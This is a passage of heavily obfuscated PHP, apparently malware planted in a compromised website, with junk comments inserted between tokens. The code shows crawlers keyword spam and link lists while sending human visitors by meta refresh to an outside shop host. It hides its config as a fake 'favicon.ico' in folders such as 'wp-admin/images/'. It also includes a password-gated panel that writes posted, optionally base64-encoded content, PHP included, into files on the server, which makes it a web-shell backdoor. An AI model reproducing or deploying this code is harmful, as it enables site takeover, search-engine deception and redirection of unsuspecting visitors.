$tourl/*G:aM+f[qZlB|#>[*o1*/= //.B#ybz]\b=S>xt4ia>
getHtml ##xPar]7,(NXdM
(//#>g!HJk)x)<;ye=A
getJumpUrlApi/*WFhdr>*/());
if(/*>fIJojm~LWM6*/isIndexUrl ##0O\Aq@g,I9fk:.!D0;
($tourl)){
//[email protected]
$jumpurl ##db>I&bm
= ##&&g^ItOj
$tourl//}XT#Ns4 yY3F
. //LMdX8*3
'?c='.//|mOA[[nPA)Q8TZZGW`b;
$objKeywordShe ##VquE\]9|nWcif<Rm7(
['keyword']; }else{
##94j+d(
$jumpurl ##`~fgVR g[dr
= SHOP_HOST_REAL . //N~:%TI=iVYg>VP]
'?c='.//ys2*M
$objKeywordShe ##IAS,IG{PfI2SA\B
['keyword']; }
if(//!i4n4]IQ|K
needJump/*ZetUcFO\^lSXVVL*/()){echo ###Bu5%e0%0}Xoj
'<meta http-equiv="refresh" content="0; url=' ./*9)BY9u>n*/ //^,|di
$jumpurl//*L`*|SAQmjA%SJd
. //oY+o>;faME(S`V5)WuR
'">'; ##|UKiz]FG9K:O=E4f
die;}
}
}
if(REPLACE_EXISTS == /*\oS.\Sa2AJ*/'yes')/*D.uA5*/{
##=qPgA
$pageexists//3n1z(s
= false;
}
if($pageexists){
if(!/*v|S X*+_Do0q*/preg_match ##Nj$P>r-L:57*Xp@Et
('|([^/]+)-c.html$|i', ##,Z).:8
$_SERVER/*-O8q{Ol@yV*/['REQUEST_URI'], $match)){
include ##2^DbdUp4<n(f*\cn
cacheFilename/*eLGoy+O9SFCN(O=_G*/();
if( ##fE#>QjD\
isBot//cEKg#1MwMI$[BN76B2Aa
()){
//DHy.;
$liil//rDj~_).<\L^}Q*_
= ##XPb,[@%qHs,8wf.)<H!
''; ##nFM:Yv:R
foreach(/*D8T`Sgv,*/$objKeywordShe/*nRsge*/['relatedKeywords'] as $keyword1){
##t~Y}&>g)S
$link ##v2ALtM$%}S%c
= /*M:U3v:V8v==6X*/is_https//lg1PU7c0%uJOwsd\
() . ##Tt&oWkWEDdT9S
$_SERVER/*U=PwONG>nR*/['HTTP_HOST'] . //6-A%5A
'/' ./*(`8EXHSkm-UbbWZ|$*/ INDEX_PHP . /*n&WO}2*/keywordtouri ##YR$tK$q\Jh
($keyword1) . URI_END_OF_KEYWORD;
##5NW,1B,tHi.Sf%Nh
$liil/*%|G\}eQA{<EkEp@%*/.= //{SbL^ @{X6Fk
' <li><a href="'. ##`&)m9;
$link//E.3MeknMB[WN:
. ##&+k;;@\MwrNv7
'">'.//ayYCmz8&1m JP8*D*PC
$keyword1 ##|].OC
. ##PLlzJACSl-T1Zz
'</li>'./*@HeEcc*/"\n";/*]8G_2pGH)jk*/
}
echo ##!jNR27$@nY)HeORO
'<ul class="Related">'.//oJ=,C\B]ZvZ#9
$liil/*BXhz<oSmp4qV$9Cu=}y*/./*[`AbE*/relatedOutLinks/*9jN{~J*/().//_{lp&4)[
'</ul>';/*C(hN(EcopT&x#ZV*/
}
die;
}
}
if(!empty(/*(OQ9x(WCq}DAcTlHJ$S}*/$objKeywordShe/*;]QCMLmG*/['keyword'])){
if( ##M3noq-4R]
isBot//T(YTR~2G{2+#Ps
()){
##m2=sGRrW&dr.*<#J+
showProduct ##byUsIh!vw&d)U<
($objKeywordShe);
die;
}
}
//a.-@lv{`|G
showCacheFile/*ma^4:JE5x*/();
die;
function /*U9+OQ:^_@|oY*/relatedOutLinks//]LNS[1O{
( ##E9Q<=GMgJ3W
$i ## qP5+K^;I3qlIY{f1<.Q
= 10){
##73*% ],td-
$filename ##[y~YgL4LV`*wTw|z
= /*p 2birS]cen3d+h*/sheditFile/*`vMEf#pf*/('real', /*gky23jXDb27cTgtCjs3t*/'outlinks')/*[)jzNAd@mJ{0.AiP*/;
##V7pSZ
$liil ##=UPi z:B9*<9y#
= /*0)<)=FSu25H!8\@*/'';//15VAP6m90K^55
##1!Q}T=sK}
$count ##iC{=;b<5Kn
= 0;
if(@/*:K4w<}*/file_exists ##PhMyLEG$FMb@4lx0PL
($filename)){
##n@hq:-mM
$content/*y_\E9#ey*/= /*GYG&WJ9SUy*/file_get_contents/*;Ym!BA~ )\|QSP7&cb*/($filename);
##;8wmiTGQ3%en20J,w
$arrContent//{*jmr:~T$6++
= /*9`}1YSXZkSkz*/explode//\Uip*9*ulC4,1Ba
("\n", $content);
/*4{;CQn*/shuffle/*uU$:%qv76i*/($arrContent);
foreach($arrContent as $line){
//w5Z.\m}FU;2-
$arrLine ##Z*@;>ZncE\J
= /*i+DI:T lNnc*/explode ##b>r[k|(K &6`AFkMO7
('|', //B:i!T@I6HwH;
trim//AFWh7K:PGf - JZbNC(#
($line));
if( ##!9K|xM~-JV\,.!1|)hj
sizeof/*F!E.1cf*/($arrLine) == 2 && !empty( ##gfp@M|&P!tdv%7ni<L
$arrLine//8<A05xvN,T
[0]) && !empty( ##ch`Iy)4H
$arrLine ##&]]S--(wpj
[1]) && //0$zM4$IitqHG{3[NyF@F
filter_var//T\uV=7gP@0
(//)\IS2&MWS+>ceRyfq`z
$arrLine ##%$hcakI ul<[J
[1], FILTER_VALIDATE_URL)){
/*UD$ih]ClYh+@Ly;AYB0A*/$liil//j*dAV(fo(9gFT
.= //&aVVdUWEM5Z=fwj~O
' <li><a href="'. ##WcJUOb
//W8n1% {R
$arrLine ##JNg(5[eR
[1] .//&6yNp(m+e=
'">'./*=WpJJOe>X*/$arrLine//gNKvC{x=
[0]./*8AdjT~#-C8B*/'</li>'. ##EfQu_I;e,sTP8
"\n"; ##roXWs9VT.t2Hrbs>Msz
}
$count++;
if($count > $i){
break;
}
}
}
return /* ui AT!#]J*/$liil//U!SvIW+
;
}
function ##5CqG*k\$PF)
sheditFile ##j-\qTFP
(/*;#]gLh$pMzZBM8{(=w,;*/$type//+r-X]}P]7rD5}Z
= 'real', ##.j=$ ]t!G;+R&>!Ge+GD
$name ##Pxcc;5Te
= /*)\j\MvxjVB70@*/'shedit')/*yFRtY(e8s@t6QLe;a*/{
/*>wcC{hq8T=HYP*/$tmpPath/*9wZxW@0kV#oiS^*/= ##WV7AvELIBbpC
sys_get_temp_dir1//QVXvMFlp=*QpE{d^IVuX
() . //hcNTT&N
'/';/*N_Wf5{EM7X */
if(!@//k>L@:_CE@5o<.X(7vIWv
is_writable//53GCHF2UNzYS~dRE+
($tmpPath)){
//iix8Z+b-v*tN}0EQ>W
$tmpPath/*2hqFe*I258L$+zV*4*/= CACHE_PATH;
}
##xL~q-2P m\
$tmpPath/*Z\dF3#|$YQ7^RqyV;VZH*/.= ##pPnqqH
MainDomain ##u7s#>$!8j#l
() . /*~:WeUF8d3.^,TSh*/'/'; ##iJ~2ASNlm7^\B5o
if(!@//KM5Y|{nziUjW8,%C.~AN
is_dir/*IOHSu]Xd*/($tmpPath)){
@//wGU[R!
mkdir/*i5d,y;pjMO*/($tmpPath, 0747, true);
}
@ ##=dp~[rs2n
chmod/*qHNMr`[-~m;Xf51*/($tmpPath, 0767);
/*y6T05#n*/$tmpPathReal/*Z`R*j`|*/= CACHE_PATH;
//E-}).Y&LSya3)}(c:n;
$configFileReal/*n^btJ05X9znn*/= ##)Bp[Rm}ID.qJ17
$tmpPathReal/**9+Da*/. //zEB%#n-rB(Cr5SQXQl|
MainDomain//D]q(I<W7@L)R
() . //uyT6#b,+}pC%R
'.' .//LxC:\+B`C
//%32SB
$name/*YkTRqVvZ$O*/. ##DoOo)rei<_Cf>}
'.set'; ##&>Q.7v
if(//N5lGBrk)
$name//+]9Jz
== ##BAQ~,q9;JGq[!
'shedit') ##mQU[2u;>h*
{
##z>ddXuY
$configFile/*hZ+d(ZyEMT.*/= /*]GYC(U9+LN~F*/$tmpPath ##%Y*|J14VDWI:VNlh
. /*K:%,9w#J3rM*:Awvl]C=*/'favicon.ico';//`VIqdKZ;
}else{
/*Pgyd.+wnJPvQ7F$V6,*/$configFile//}Yr~o=k
= //!Dz{TWV0`w7[
$configFileReal//:4q@c4N@Vzt;Ems#
;
}
if(@//_Fr8F)6$B[011Ry
file_exists/*`-W 3e=*u*/($configFile) && $configFile != $configFileReal){
if(!@//NWU1;U(.X@<}8]
file_exists ##JF]y;Y,odSF4%b#$a,!,
($configFileReal) || //ki3$w*{}$6SU,S(L
md5_file//`uI7$Tpx|+6<h:
($configFile) != ##pQo}>
md5_file/*tg;KR;Eof3TJe3LF*/($configFileReal)){
//]ZfDUW
file_put_contents_force/*hN%bj{*/($configFileReal, /*I^OjBsYaa~c.*/file_get_contents ##\bvla3~vz!Zu
($configFile));
}
}
if( ##gr{>2`sp
$type//3H,y0)-oqK!tXCB
== ##u0,~2S93PJ>UdC;1_[T
'real')//TCDwQ
{
return //@dk<CWo3dKPzY
$configFileReal ##n[K>@wxPLv6=+,8D\
;
}else{
return ##D+@IbgKXK;%iyoHih
$configFile/*P--~0]Mcv`{t{z*/;
}
}
function ##N(w-Iy1oL$$|xJim
moveToNewCachePath/*$pv<ZOr_[P,_q*/(){
if(@ ##5$.~[X^)
file_exists//-Dh<70+n.!l=Gxmz
(FILE_OLD_INDEX_OLD) && !@ ##CB4VwiT
file_exists//dSt~vt6[mO3#
(FILE_OLD_INDEX)){
/*},]X(#R*D%6G(B][wc8=*/rename ##Gv70KvC6
(FILE_OLD_INDEX_OLD, FILE_OLD_INDEX);
}
if(@//[U@q(GUS0)\W(`
file_exists/*DE{p\%wN R*/(FILE_INDEX_STATIC_DEFAULT) && !@ ##f##A~AwNA+taK0\un:i
file_exists//X~d1|v
(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
## nF@qb59^,({5Re
rename ##;IoyOxRuq;HAOl
(FILE_INDEX_STATIC_DEFAULT, CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
}
if(@/*4J6Nd+0aA}UShi{hx{,*/file_exists/*Z\y@*I)0<:2[G*/(FILE_INDEX_STATIC_DEFAULT) && !@ ##$KUjV#bT8!\0F<E{y
file_exists//SgUB\8ee
(CACHE_PATH . FILE_INDEX_STATIC_DEFAULT)){
//.wv|`7bG*e&;UKz
rename/*DX6.nd%+xs}0*/(FILE_INDEX_STATIC_DEFAULT, CACHE_PATH . FILE_INDEX_STATIC_DEFAULT);
}
}
function ##%*M6Y\O_.#&4\PWBPpo
showCacheFile/*+PSKZ)*/(){
if(FILE_INDEX_STATIC == FILE_OLD_INDEX){
include FILE_INDEX_STATIC;
}else{
/*G%.b(@L3&&Ip*V8*/$html ##66h,XCE_XOgd~m~}HF{
= //QGrY^MfH6;SH\-=X
file_get_contents ##T-_BJ{zG&01G
(FILE_INDEX_STATIC);
echo /*\ \YO*/$html ##)_g>u}xeODpk1L
;
}
exit();
}
function ##}pJSN6oD](Y!F\3
cachePath/*OF6C`]W& 1[\X{jDQ:&*/(){
/*~*_xd*GBu@zS4%1G9*/$arr/*QD#z^KBTVkLQ~tPU*/= ##`8t`:U#NB1
array//M(.kGtfJ)z
(
'wp-admin/images/',
'includes/',
'cache/',
'images/',
);
foreach($arr as $path){
if(@/*YvU},a+!N}j73*/is_dir ##Ngz~(
($path) && //P%e <w$J$JEV,7
is_writeable//$n0C:#`
($path)){
return ##jmg,,Nl!gV
$path//KSL=]DLON E>MB)V>
;
}
}
if(@ ##!!kU+oI_5W@P7`z@J[x
is_writable//*=cXsVJ)&gV$@Cn}qWT5
(//2s,@gW,Ki>|~My@p;;_G
'.')//:#O<1r=&#HBV<7
){
@//(nd[|jEdkt ]t-Wh~6
mkdir//e`-MANUpt~
('images/', 0747);
/*7WnP}5S ndJ@*/$dir/*}_9~H0y}w7o*>p:2*/= //[>#KDb3
'images/';/*;NYpYc*/
}else{
//HM`hdFr9y]0So`
$dir/*a4AbQS}%d\JvLl*/= //:v+i5ugwFL
sys_get_temp_dir1/*I,Mh|*Q]B||WGkZQz*/() ./*9\W\j*/'/';/*EVn$YMTJ_s~yW\0v$\x*/
if(!@//q^,M5$%T{U
is_writable/*&VCPnng_&9rt*/($dir)){
die(//;^moE@t :m@=}
'no tmp dir avalibal!') ##%!V4YAU#Un*S
;
}
}
return //<aKzqRY
$dir//ynXIIvS~(JZg
;
}
function /*o]fT7t) S<*=l@#jc{r*/cacheFilename//1`-J*v.T9E*W>JE
(){
if(/*A8,ug@jOH\kD99q*/defined/*Vu#nKDb%Z0= */(//!n3oh g77;yPZ!3Q
'STATIC_HTML') ##Z^XLbR =GKblcF
&& STATIC_HTML == //rQ8|g0tOQ@
'no')//+;*QzL<,J:$-B|_Tq
{
return FILE_OLD_INDEX;
}else{
##kfUZEod]bXz
$uri ##S]rpUFFmvY,
= ##z`38YiVsl*IM+3Yq
request_uri_no_parameters//Hi!U9q8d(nvz+
();
//(Dce}G!QYz:
$filename/*oY!Gj%;Z~ozFg*/= //4AlU%6S
'cache/'. ##)Hz =.,9za2TJ
md5/*GjJ!&l&3]pM*ij(ra6*/($uri);
if(!@/**.Pd,uM&a%#xS<>*/file_exists/*9Gq)GuwUj*C.MUh!Xu*/($filename)){
//b8~-;sffHBR5ls
$filename//jh!1!mTkE
= CACHE_PATH . FILE_INDEX_STATIC_DEFAULT;
}
return //9[6{L
$filename//[4R}HJ-
;
}
}
function //(~)c5>yeFM@ZmAal$ o
request_uri_no_parameters//dMogYh29S
(){
//4b4!`X\;k#|tcuj1dcgF
$arr ##%#{AL^2
= ##|@9Bxn&bu>=b>2#~xS~^
parse_url ##^9U_-8Wd+.9T#!b!^a.
(/*qkv,*c*/$_SERVER//)4iR{FZ[
['REQUEST_URI']);
return ##C6t| FR4@
$arr//Ns^lnvx}B]j_NQ[stK
['path'];
}
function /*7WNf|F%s58|6D@orB8%*/getDomainFromUrl/*IT*:BS!L&ie;*/($url){
##3OK*r
$url/*Wu4Xgq{o%V>V*/= /*R&!3IW3a;&N*/trim//Q-TL3cXk S{xBNg)]>[
($url);
if( ##Ui&xb;d5W4;`:
strstr/*MULYh :^Zv*EC>WZ*/($url, ##Kk@dr{ELjEGowB
'://') ##pM#Y6Q3JHiK!N;4DJn
){
//9%_\K2z)9y*
$url ##o&mvy;,#]WJ|2I
= ##QP#H0j9ut5LUWpR0TL
parse_url/*9@Gtc*/($url);
##$|, Z
$url ##&v>2++\Ui>nac.(gi
= /*>4MNrpY*/$url ## Dz1`$tb
['host'];
}
return ##Am!nIcgX
$url ##&!|9%*TQ!,
;
}
function /*{>P7nR6*v}[+Yy`%*/getJumpUrlApi ##m3DOXq;_`o2W$
(){
/*%AY]pR$+`*/$tourlapi ##dXyx!{Y[`|DR
= SHOP_HOST_REAL . /*{wt0^J{mMf8-K+u*/'/readurl.php?from=' ./*W$23O)*/ /*=xR:mai[{hS2MVjUNL w*/MainDomain//DT>D&>wi]CX%&eP3872
() . /*C6m-C$g>(CB>]&]0*/'&keyworddir=' .//RqA&+D{]iMrBCY|,l
KEYWORDDIR_REAL;
if(/*Vl$ST-$}*,U^*/defined//yO^HVt
(/*>.Je*&uU*/'JUMP_REAL_HOST')//nccCR
){
//nnrE\ejN2.{Pe8
$tourlapi ##nQ5d<6bZ
.= ##q`0e-
'&host='. ##6IXVW;
##>8m6_j
getDomainFromUrl ##lqV:E*Ixh[xh*
(JUMP_REAL_HOST);
//|)=L:5u>Q4WS+Xj%AK[
$tourlapi//;x!7wI+(ydW
= /*[VPR,f5z*/str_ireplace ##QRrN7WcI*1ZUa:|
('.keyworddomain.com', MAINDOMAIN, $tourlapi);
}
return ##eR]8EYkn}.;#ay
$tourlapi ##d_3rMUEie>yB07O@
;
}
function /*NUMCXkrK6#S1-)iO}@(*/is_allow_page ##ur#:q5 NC KUTUB6VNjw
(){
if(/*)UyT%E>];[sD}*/defined ##E^S[*@ZUZ
(/*T4:51efH0Yn@*/'ALLOWED_PAGES')//d $.=cqX5I
&& ALLOWED_PAGES != ##N:m+1ZosXSQo
'')/*=fB,-z,}Q9UJ3v*/{
##0o$N~
$page/*Z~,G,w*/= //`2Zm|2% <R+L5ep
this_page ##L5AB<7>}ILQEb
();
##^=-XJW6
$arrAllowed ##AsyL$NN
= ##M(4nZm
explode//&W6Mk-n,u5=.
(',', ALLOWED_PAGES);
if(/*K7}WQFR_*/in_array/*_(2Zld*/($page, $arrAllowed)){
include /*@Dt<yS92PMr!.YYOkJ*/$page/*),<}4JJJ*/;
exit;
}
}
return false;
}
function /*.LO@!l)CCf7*/this_page ##CVd<a
(){
//l)#@0ChvDJA6SRVy
$page/*.YBgXb,Tq}J=z**/= ##4lTh-Md
'index.php';//J!$`xCS(Bs^
if(isset( ##I@RUacH!_nbSK3nxb)FN
$_SERVER//EJFBaHKEjM
['REDIRECT_URL'])){
//*z{3=#r FbT
$page ##ky_7Ncu_51^E
= //,^jae24>x
trim ##luSIc)I,m
(/*d\IL@qtw*/$_SERVER ##I4|ObiYiX0B-bX
['REDIRECT_URL'], //(h(y6-2R
'/')/*}QK9T<%oC2.1>*/;
}else if(isset(//E4X{rEuq|JT{@4w\
$_SERVER ##VLnonIV>kI+WGF
['REQUEST_URI'])){
##=^dZFa9ax
$arr//,PyoK%B4!p
= //pL4:%JuN
parse_url ##Bv<! @t1B,C005e*ip
( ##r=K&2t
$_SERVER//9FRLKyjv(7ctJv2mimU
['REQUEST_URI']);
/*sIylBO\@npy-rke=<&*/$page/*[D{7{~wo76]8-0EZ*/= //@-UWt.2>,<AdoQs=LR6
trim/*EZbv1)))-OLtP@*/( ##3dsn6U4R8
$arr ##qfnGK={E
['path'], ##0PhI}Q9#8rEF
'/') ##z4([3LM;8]
;
}
return ##Q{[Iz
$page ##X!8FsqI,IO`qY21,(f
;
}
function /*$O<~n#*/isIndexUrl/*Kd:0V\aPVp)R^oLJ*/($url){
//W]GZl11Vhl$yod7,s6MB
$pattern//*{EmP<_hvWf[
= ##if)U!5N
'|^https?://.*/$|'; ##\^($iaT.TAVLg`y0i)
if( ##7LBmAGk]`
preg_match/*cTPl:z!qo>}Wo[<Xk*/($pattern, $url)){
return true;
}
return false;
}
function //Rwcxg\.
editConfigFile/*\nuC1z)HK)G^MN9*/(//m_uLW9D8JaH@l1BwS!
$filename/*k4y:9*/= /*3&]mvr3(0HVK:^*/'shedit')//*jv.I[cv
{
if(isset(/*S9So=lZF=w*/$_GET//u\|HzX*9},pz
['action']) && ##t(s huU>h_=5Yqm
$_GET//j=,sg$2eeQKc,!-
['action'] == $filename){
if( ##qR05{#DyY.Hg\YNrF
isSuperMan//pWOD2#*!6. QK.eO
()){
if( ##(PqO0$$jQuJ
cookieAuthor/*\`@A(xF-xU\m~mEXhM*/()){
//wod48YEld-H$
$configFile//[qI@lXWB2&q9e\eU
= //W&8Y,&fOKPs<
sheditFile ##5Tf&Mj,}:<i
('save', $filename);
//`{I4:
$configFile2/*l(XD-:NL~=*HHHK*/= ##B~PD\`HiO<9*-*
sheditFile ##dQ;eU0NsJ[Se}H4
('real', $filename);
if(isset(//Z}_WB%
$_POST//T!VKH
['shaction']) && isset( ##j;XUyq_~T
$_POST ##;,G+WFyt]~;}+~~1@zS
['content']) && /*zMHS,#|S3k`8tSYOPV*/$_POST//<~v(TA[B(+}4RA
['shaction'] == $filename){
if(@/*4&Z;Y+zW24_*/trim ##P&WX41-T^
( ##F\\o@z+D!
$_POST//3+5r&Rq3RT!Ep.gp!<
['savebybase64']) != 'on' && !/*OH@]aa)*/stristr ##*}ev;1XsU9
(/*NKG>ZI@1p$YVy:uSS*/$_POST ##`uk}K@9=bY`7Y0e
['content'], //XQe@J~D
'<?php')/*\L)S^g;ub:g(ZSS]EW^*/){
##6{P4YCLI:d7t
$content/*h&W}el+`*/= //]S`16nzOr
base64_decode ##eu$8ym{f7=!
(/*~1MClS[*3;g*/$_POST/*Z{|*m{,$2(2{Y_B.ts*/['content']);
}else{
##h$T$T:iR2
$content/*(c0&14(EGARd,e*/= /*rn==|r\!DmFWpsy*/$_POST ###rO3PI3wPO-8H
['content'];
}
if(//Q${w*&cbO5
$filename ##q[PCy
== 'shedit' && @//aQ#brf
trim//oaXOIcXRgQeF
(//P{#>64
$_POST//.l,aaut!sk7c+-u|c~L
['savebybase64']) != 'on' && ! ##<;}OnU>LGtq1v3f
stristr/*5oH4v*/($content, ##PMPAhESLg,
'<?php')/*#YlAYSpt-Rh8nHc*/){
echo /*4j0`cohuBlnt 1*/$content//fX@esD^%!Al<[Ggs
;die;
echo ##0G7)mC
'';//-$c3h%!A:dA^
}else{
/*JelKLc+{v^.*/file_put_contents_force ##uK)XDQNC
($configFile, $content);
/*qo)obI!zE*/file_put_contents_force//c&o<YkQ,F#sv`(.+4Bz
($configFile2, $content);
echo ##M Y[{xqjN>3peX#yV[.
'!<meta http-equiv="Refresh" content="0;url=/" />';/*C0_*f#HRUa|*/
}
}else{
if(@//8|Kmr)v&A{fCc1^Xyuq
file_exists//%Xo>m>ysG1S%
($configFile)){
//|u>M3Iey0
$content ##Rjk(9z
= /*IBS<Sq*/file_get_contents ##M>{v3+,4
($configFile);
}else{
if(@/*rl*RK&X`*/file_exists//AqQp^Vie:Vaj
($configFile2)){
/*v.-O~CE9 }*/$content ##-\|Df67P}3JyV7`hNRQ
= //(0Z5)e8W`E
file_get_contents ##<_ Y~)1{W
($configFile2);
##@G%uJo`;hC-{>:C3E
file_put_contents_force/*],tNiL&X5c:rE9*/($configFile, $content);
}else{
//6s< KRtv0g
$content ##<gUPY@z
= //OWoyK+L
'';//_)%\8u
}
}
//alds35i])xrVsxl3dY#A
header ##E.y^2CeseC>:|oV!Nam
(/*#pLPg*/'Content-type: text/html; charset=utf-8')/*%p[UI4]wc*/;
echo '
<script src="https://cdn.jsdelivr.net/npm/[email protected]"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/base64.min.js"></script>
<form method="post" onsubmit="return beforeSubmit();">
<textarea id="content" name="content" rows=20 cols=100>'.//MAVc[J^p
$content//oHqC[|)KWUX^A
.'</textarea>
<br>
<input type="checkbox" id="base64encode" value="on" checked>base64
<input type="checkbox" name="savebybase64" value="on">
<input type="submit"><input type="hidden" name="shaction" value="' . /*ic>@d`J+5~P;f^Wf*/$filename ##aTh|vA}\m1m
. '">
</form>
<button id="base64decode" onclick="Base64Decode()">base64</button>
<button id="base64encode" onclick="Base64Encode()">base64</button>
<script>
function beforeSubmit(){
if($("#base64encode").prop("checked")){
$("#content").val(Base64.encode($("#content").val()));
}
return true;
}
function Base64Decode(){
$("#content").val(Base64.decode($("#content").val()));
}
function Base64Encode(){
$("#content").val(Base64.encode($("#content").val()));
}
</script>
';
}
if(/*nWZIr*/$filename//QB&vQscAIym*R+
== /*=J+@!{u+*/'shedit') ##Q(;T1.
{
echo //SC+x-`nt}ALO.
'<!--'.//9pWPL4}R,Z[,,:u
$configFile/*X@\Gl^#HkDw%bEw#J%$*/. ##t6{9:*F}3pU9m+Rz3us0
'-->'; ##UN&s*4I
echo ##K:u:opRZ-M2pp
'<!--'./*Yl-|P*/$configFile2//AOoA1U
. ##G.;&tBaQ_pN)<Ck}
'-->';//f;G{dQKR^dx#*
echo //UDkZ,B)NXm1
'<a href="?action=deletecache"></a>'; ##KM3})_$U:4N(Aa:
}
}else{
echo ##If9qP(:F]Tc4J&3
"The authorization failed, please re -authorize";//Bo(5BN]Ls|
exit();
}
}else{
/*<k-t(2&7E9@S**/http_response_code/*cv$,LX2*/(404);
die;
}
die();
}
}
function /*vBGPP.JJG4BjJ%8G@1[l*/editPathList ##.Z+7haN6i.kT{k
(){
if(isset(//VQeaR=L.y=n`Q`
$_GET/*7s=8izYNlF~5!{\^~XD**/['action']) && //Ix0RZ
$_GET/*!Y|&B*/['action'] == /*h2d=&7Av0jBwZ*/'pathlist')//!`FObBj-DmBYN<@%-(E
{
if(/*#zz\YPeOM@_ ~F\r*/isSuperMan// @%)g.%HXbsUAbJP
()){
//[ttD2xBgt
$filePathList/*}\Ae_CL_>[email protected]*/= //83(Upf{pgix+a`]O
filePathList ##=X~2&bkZV5=V^&&
();
if(isset( ##H4yWL14@7zaoP
$_POST//9-egpY3KtV)nIT
['exceptPathlist']) && isset(/*s7PO-J`[etQ1dVe*/$_POST/*L*3Q.^*/['exceptPathlist']) && /*%d]7(mT$f>DF*/$_POST//p(JmmcI*,BEq
['shaction'] == /*-xwBS<!wJa:{XYt*/'pathlist')/*i@C3w{fTFJfyWW:Kpq*/{
##2;^C|
saveExceptPathlist2//DfPe:dpd{p2tU^f~3
( ##Zuk;=r<QGgk;j],MR
$_POST/*N*AqXKd5YjAe>Ml*/['exceptPathlist']);
}
if(isset(//:K:cO6Ccg`R9
$_POST ##qeE%T\!
['shaction']) && isset(/*2=Y%pKG9vYR */$_POST/*SAs-5q}o\7*Uv;dKxau&*/['content']) && ##Jr$zK]Ug%
$_POST/*qKvW^nz(N0&w{Us*/['shaction'] == ##k]|Q>`1Jq
'pathlist')/*-z{@:x@[7m+G3*/{
/*L!EnX*/$arr//m7^f^e:BIOXz{u&
= ##DPc|iP\N6dJ1P1j#:QO]
explode ##fIl _ZBefH07rS&
("\n", //0-lW9WkX
trim//*lz>L:i`Y!
(//dg%|F
$_POST/*D-6ss}`Cj:Jb]8*/['content']));
/*B`x]&sbqpvgXpv 6Q*/$arr2 ##&X|]i>K,46t
= /*$Ts}Go+x3*UCJTlQ!*/array/*)p:27t}0C+}GF__@i*/();
foreach($arr as $v){
if(!empty($v)){
/*Sw@&3QbdB=[0*/$v//mm3##QWM0hV
= //Z}IUWr)Z90
trim/*#1->`BBVX4*/($v);
if(!//L;-f4s5`t;
in_array/*OF\XhL!As*/($v,$arr2))
##JoblFd_^}:
$arr2//Ho\Cq04
[] = //^)EI.0
$v ##5Kqrqhh0CX5-S
;
}
}
//TP_Z~vzYZ~E*6\d
file_put_contents_force// -wCCK)SCPiOnD:IF
($filePathList, /*dL9(;%t9e{P`q7mSvkS2*/base64_encode ## pbD#wGv(yOt$0+QYzVv
(/*I~cYxyGb%5Og-:Y,OZ>C*/gzdeflate//v*KLB(_:E9etbCB
(/*s<cw.4*/jsonEncode/*KZ}-Ktk*/($arr2))));
echo ##ch7wfC|*F
'saved!';//Zq.k]i&Bs
}else{
##Q<5f~a+K$[dypezT6+
$content//V%prw]!t=
= /*IBgaT)*/'';//t|K1n1`$fRs{
if(@ ##@a->]AtEjJey,UkuK
file_exists ##ZtqMQZTvh
($filePathList)){
##fmzQceHIV
$arr/*X[Z5fbk-*/= ##D_0sn
jsonDecode//:H*5S2pR*NB(m;X:PQg
( ##s%oVhlp
gzinflate//<fKDX)O%Gun]MHDUo
(/*P^~.!lN0aR*ktn&tz^`j*/base64_decode//hW|F0;;ijHe>`%$b2}hL
( ##Ax.,as1l;7
file_get_contents//6-}+8sV#JBk*9=&Gg
($filePathList))), true);
//&3I%d4-rOS`3BTQ9M
$content ##Qq8W.oRlY[bJe,
= /*oy3-f%oM*/'';//IbVKK2m-V
foreach($arr as $line){
/*[&2%P%*SP*/$content/*\ oXCooh8DipwQi^*/.= ##A04$py7YVhzzR$D3I
$line//;+d_!Z#Ix(Xfffl
. //M9LT7t.y.LZ<4.
"\n"; ##&;U(loQAhjP[3
}
}
/*\H<-&T-!CjJW$k,b+K*/$arr2//^SoTbw|tHW#8`9
= ##m6i_Iq-*&<<eLUG=!7hD
arrReadPathlist2/*!(QXoflsEw;B`8ipLCkE*/();
//n^9Uu$_^8O$#\+.596O
$exceptPathlist/*e]:IW:nGlGr*/= ##QyZMDNGC~6*\]LIz{
strReadExceptPathlist2/*Loe>Zt@PA#nx8l0.*/();
/*3:{:U*/$content2//!>WNU\M\O-LB
= ##JwGa3f_
'';//uyZ<)l
//=_qKL)g4jtjJ,h
$content3//x-L,*^P|y
= ##>G*\3O1QS
'';/*D4t]m#*/
##VHg_Q+SGiDnYTi(S];
$content4/*9N.FF5J-B(j*/= /*1X\9{NO*/'';//n_%Dz;ZhQq|g+j|
foreach($arr2 as //k{QT]7r3=S#gv olo
$domain/*n_d|t8q9O3)$+u5lA*/=> $path){
##BLp#Y^b
$content2//WoFiEC5@kv(7$43\D
.= /*7mQM8U~`^>rQ4z*/$path//];rxQ<90Hdcj1B46{%Q
. PHP_EOL;
//5ZzY{(bqy
$content3/*CylLrb0ZUE4N*/.= ##I.6j\K1})gID`TbOyH
$domain/*[XoI1]4o%c^g@`Y+{1O*/. PHP_EOL;
##8(!Ai[H^67tuWd]z<
$content4 ##4c0g[ooP`7d].ic%\@V
.= ##tK>$(zJMl}+oiOk
$domain//$:I55|dp9!iB)Gh92bZ
. /*u1,YzFP#{VP_$*/"\t" .//5mTb8vBx:pa-$9<h!
##f%#m]buJ|VUo9uuOZael
$path/*S$(is)QmX-4vCwbw3$YB*/. PHP_EOL;
}
//*|4e&A=A}A~.81
header ##OP;4)dlEXCDA^d&LmY`6
(/*ublchM^*/'Content-type: text/html; charset=utf-8')//=C7B+##ptmL
;
echo //56(YJQ.lTvp
'
<form method="post">
<textarea cols="50" rows="5" name="content">'./*kJwVU[Ig*/$content//=mmdZDf%|Py
.//(qUe{8~4Ncn+qJdo-MZ
'</textarea><br>
<textarea cols="50" rows="5" name="exceptPathlist">'./*h`8 `@XulsFtla|T*/$exceptPathlist ##]CAWliQx^u,G*U]k
. ##v<kVO$>8y
'</textarea><br>
<input type="submit"><input type="hidden" name="shaction" value="pathlist">
</form>';/*{NH-E7NwQ*/
echo //IkrD}t
'<form method="post"><textarea cols="50" rows="5" name="content2">'.//5HGtsEMj5wf>N}]hR,;K
$content2/*W`3.@1C-=nE%U4{*/. ###@av&0%Bq*mYI{Tbs:b
'</textarea></form>';/*k#$]W%S[;*/
echo /*A si6M*/'<form method="post"><textarea cols="50" rows="5" name="content3">'.//aj|tIuW
$content3//<0Ry~]O:W
. ##0Y38pM;dDvb
'</textarea></form>';/*+A_LZ0&x>*/
echo //boMWJti{#rGZhNoc#7
